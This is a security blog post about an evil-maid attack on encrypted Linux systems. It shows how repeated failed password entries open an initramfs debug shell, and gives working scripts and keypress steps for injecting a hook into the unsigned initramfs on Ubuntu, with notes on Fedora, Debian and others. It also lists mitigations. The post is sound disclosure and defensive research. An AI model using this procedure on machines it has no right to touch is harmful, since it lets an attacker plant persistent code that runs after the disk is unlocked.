Building

Insecure Boot: Injecting initramfs from a debug shell

Many Linux hardening guides focus on well-known protections: full-disk encryption, Secure Boot, and password-protected bootloaders. While these measures are critical, they often overlook a subtle but serious attack vector: the ability to drop into a debug shell via the Initial RAM Filesystem (initramfs). This oversight can enable an attacker with brief physical access to bypass conventional boot protections and inject persistent malware into the system.

In this post, it is demonstrated how this attack works on modern Linux distributions, such as Ubuntu and Fedora, and explained why existing guidance often fails to mention it.

What is the problem?

For many popular Linux distributions, the debug shell can be reliably triggered if an incorrect password for the encrypted root partition is entered multiple times. From there, an attacker can modify the initramfs and inject malicious hooks that are executed the next time the victim boots and unlocks the system.

Modifying the initramfs is possible because the initramfs as a whole is typically not signed. Only the kernel image and the kernel modules contained within the initramfs are signed, which prevents access to kernel mode. Simply unpacking the initramfs, adding a malicious hook after decryption, and repacking it is not prevented. This procedure does not alter the signatures of the kernel or its modules.

CVE-2016-4484 describes a similar method of gaining a root shell. Modifying the initramfs is also not new as EvilAbigail1 from 2015 and de-LUKS2 from 2018 show. This attack represents an evil maid scenario in which the attacker has physical access to the system. Many similar attacks assume the attacker modifies the storage device directly (i.e., the solid-state drive). In contrast, this attack follows a regular boot sequence, triggers a debug shell, and mounts a prepared USB drive containing a script that manipulates the initramfs on the boot partition.

This is less a security flaw on the part of distributors and more an oversight in current hardening guides. The instructions for password-protecting the UEFI and the boot device selection, as well as enabling Secure Boot, aim to prevent an attacker from booting their system or injecting malicious code. However, the initramfs presents a loophole that is easily overlooked. Gaining quick access to a debug shell makes the above attacks easy to execute. CIS Benchmarks for Ubuntu and Red Hat Enterprise Linux do not mention this attack vector. Lynis also does not check for it. Furthermore, it is not mentioned in the NIST STIGs.

The attack can be easily mitigated.

  • The simplest mitigation is to modify the kernel command-line parameters: add panic=0 for Ubuntu-based systems, and rd.shell=0 rd.emergency=halt for Red Hat-based systems. This causes the system to halt instead of dropping to a debug shell.
  • Similarly, rather than requiring a password only when modifying bootloader entries, the bootloader could be configured to require a password for booting the system.
  • Even better, the SSD’s native encryption could be enabled.
  • One could also consider encrypting the boot partition with LUKS.

There are ongoing efforts around Unified Kernel Images (UKIs), which combine the kernel and initramfs into one monolithic, signed binary. Trusted Platform Modules (TPMs) may also be used to measure the initramfs into one of the Platform Configuration Registers (PCRs). A discussion of these mitigations is outside the scope of this blog post. We refer the interested reader to The Strange State of Authenticated Boot and Disk Encryption on Generic Linux Distributions3 and Brave New Trusted Boot World4.

What is initramfs, and why is it needed?

The initramfs may be necessary for booting the system. In straightforward installations where, for example, the root partition is ext4-formatted and resides on a local storage device, an initramfs is not strictly needed. The kernel can read all necessary files and hand over to init.

The root partition may, however, not be directly accessible to the kernel. In particular, when the root partition is encrypted, it is not immediately accessible. In this case, the kernel unpacks the initramfs, which contains a minimal root file system with the necessary kernel modules and userspace utilities to bring up the system. For this, the initramfs needs to reside on a readable partition, typically the boot partition.

In the present case, the initramfs is needed to present the user with a password prompt and then decrypt the root (and possibly swap) partition. After the user has unlocked the root partition, the root is switched from initramfs to the real root.

Why is initramfs not signed?

To support a wide variety of hosts, the initramfs is not built by the distributor but by the host itself. Tools like dracut include the necessary kernel modules and user space utilities whenever there is an update to those components or the kernel. As a result, the initramfs cannot be signed by the distributor, and shipping a generic, signed initramfs that supports all possible configurations is infeasible.

This issue persists in part because the initramfs must accommodate dynamic hardware and system configuration changes. Additionally, many distributions prioritize system recoverability—retaining access to a debug shell in failure scenarios—often at the expense of physical security.

Performing the attack on Ubuntu 25.04

When dropping to the debug shell, there typically are not enough tools to rebuild the initramfs. Therefore, a USB drive with the necessary tools must be prepared. The simplest way to do this is to install an (unencrypted) Ubuntu system on this USB drive. To avoid the overhead of typing everything manually, some scripts can be prepared in advance.

chroot.sh:

#!/bin/sh

MOUNTPOINT="/ubuntu"

# Setup bind mounts
mount -o rbind /dev "${MOUNTPOINT}/dev"
mount -o rslave /dev "${MOUNTPOINT}/dev"
mount -t proc /proc "${MOUNTPOINT}/proc"
mount -o rbind /sys "${MOUNTPOINT}/sys"
mount -o rslave /sys "${MOUNTPOINT}/sys"

echo "Entering chroot..."

# Enter chroot
"${MOUNTPOINT}/usr/sbin/chroot" "${MOUNTPOINT}" /bin/bash

chroot.sh does not do any magic. Once you drop to the debug shell, it expects you to mount the USB drive into /ubuntu, and sets up the chroot environment. Once you have entered the chroot environment, ensure that the victim’s boot partition is mounted. Then the following script will be used:

modify-initrd.sh:

#!/bin/bash

set -euo pipefail

if [[ $# -ne 1 ]]; then
    echo "Usage: $0 <initramfs_path>"
    echo "Example: $0 /boot/initrd.img-6.14.0-15-generic"
    exit 1
fi

INITRAMFS_PATH="$1"

if [[ ! -f "${INITRAMFS_PATH}" ]]; then
    echo "Error: Initramfs file not found: ${INITRAMFS_PATH}"
    exit 1
fi

echo "Modifying initramfs: ${INITRAMFS_PATH}"

# Clean up any existing unpacked directory
rm -rf unpacked

# Unpack initramfs
mkdir unpacked
unmkinitramfs "${INITRAMFS_PATH}" unpacked/

# Create the hook script
echo 'mount -o remount,rw /root' > unpacked/main/scripts/local-bottom/myhook
echo 'date >> /root/myhook' >> unpacked/main/scripts/local-bottom/myhook
chmod +x unpacked/main/scripts/local-bottom/myhook

# Update ORDER file
echo '/scripts/local-bottom/myhook "$@"' >> unpacked/main/scripts/local-bottom/ORDER
echo '[ -e /conf/param.conf ] && . /conf/param.conf' >> unpacked/main/scripts/local-bottom/ORDER

# Repack main
cd unpacked/main
find . | cpio --quiet -o -H newc | gzip -9 > ../../main.img.gz

# Repack early microcode sections
cd ../early
find . | cpio --quiet -o -H newc > ../../early.img

cd ../early2
find . | cpio --quiet -o -H newc > ../../early2.img

# Combine and replace original
cd ../..
cat early.img early2.img main.img.gz > "${INITRAMFS_PATH}"

# Clean up
rm -f early.img early2.img main.img.gz
rm -rf unpacked

echo "Done! Modified initramfs at: ${INITRAMFS_PATH}"
echo "The hook will write timestamp to /myhook on boot"

The modify-initrd.sh script essentially works in three stages. First, it unpacks the initramfs into ./unpacked. Then, it adds the malicious script called myhook into the local-bottom subfolder and ensures it runs after all the other scripts by appending it to the bottom of the ORDER file. These scripts are called after the real root is mounted. On Ubuntu, the real root is mounted read-only into /root. myhook remounts the root partition as read-write and then echoes the current date and time into a file /myhook. Finally, the initramfs is repacked, and the leftovers are deleted.

The attack can then be carried out as follows:

  1. Boot the encrypted Ubuntu installation.
  2. Hit [ESC] when prompted for the password, then press [CTRL] + [C] three times in a row.
  3. Wait for the 30-second timeout.
  4. On the next password prompt, press [CTRL] + [C] six times in a row. You should now have a debug shell.
  5. Run mkdir /ubuntu and mount the external root partition (e.g., from your USB drive) into /ubuntu.
  6. Run chroot.sh from /ubuntu. You should now be chrooted into /ubuntu.
  7. Mount the unencrypted /boot partition of the target system. Be careful, as the external Ubuntu will also have a /boot directory.
  8. Run modify-initrd.sh PATH_TO_INITRD.
  9. Exit the chroot with exit.
  10. Power off with poweroff.

On the next reboot, myhook will be executed after the root partition has been decrypted.

Different distributions

The attack was tested on Ubuntu 25.04 and Fedora 42 with encrypted root partitions using their respective default settings. Fedora 42 uses dracut for generating the initramfs, so the steps are slightly different, but overall, the attack path is almost identical. It was also tested whether it was possible to obtain a debug shell and mount a USB drive on various other distributions in their default encrypted configuration. All tests were conducted on a Secure Boot-enabled virtual machine using app-emulation/qemu-10.0.2, app-emulation/libvirt-11.4.0, and sys-firmware/edk2-bin-202202 on a Gentoo Linux host.

Ubuntu 25.04 with encrypted ZFS

This was the first tested version. It could be observed that a debug shell is granted after only three (as opposed to nine) incorrect password entries.

Debian 12

We didn’t fully understand the timeout mechanism on Debian 12, but holding the [RETURN] key for nearly a minute when prompted for a password reliably dropped us into a debug shell.

Fedora 42 and AlmaLinux 10

The Red Hat-based distributions show some peculiarities. Their default initramfs does not contain the usb_storage kernel module, so it is not possible to mount an external USB drive with the necessary tools to modify the initramfs. However, at the password prompt, a reboot can be triggered using [CTRL] + [ALT] + [DELETE]. On the next boot, GRUB allows selecting the “rescue” entry, which is included by default. The rescue initramfs contains the necessary kernel modules.

OpenSuSE Tumbleweed

In its default encrypted installation, OpenSuSE Tumbleweed encrypts the boot partition. As a result, this attack is not possible on that configuration.

Conclusion

The presence of a debug shell in the initramfs represents a rarely discussed but viable attack vector, particularly in scenarios involving physical access, such as evil maid attacks. While Secure Boot, full disk encryption, and bootloader passwords are vital defenses, they can be undermined if the initramfs remains unsigned and debuggable.

Mitigations are simple and effective, such as adjusting kernel parameters, restricting boot access, or using full boot partition encryption. Yet these are often missing from standard hardening guides, benchmarks, and tooling.

As attackers get more creative, defenders must address the assumptions and blind spots that traditional checklists overlook. We hope this post brings attention to one of them.


  1. EvilAbigail: Initrd encrypted root fs attack. Online: https://github.com/AonCyberLabs/EvilAbigail↩︎
  2. de-LUKS. Online: https://github.com/nyxxxie/de-LUKS↩︎
  3. The Strange State of Authenticated Boot and Disk Encryption on Generic Linux Distributions. Online: https://0pointer.net/blog/authenticated-boot-and-disk-encryption-on-linux.html↩︎
  4. Brave New Trusted Boot World. Online: https://0pointer.net/blog/brave-new-trusted-boot-world.html↩︎

Leave a Reply

Your email address will not be published. Required fields are marked *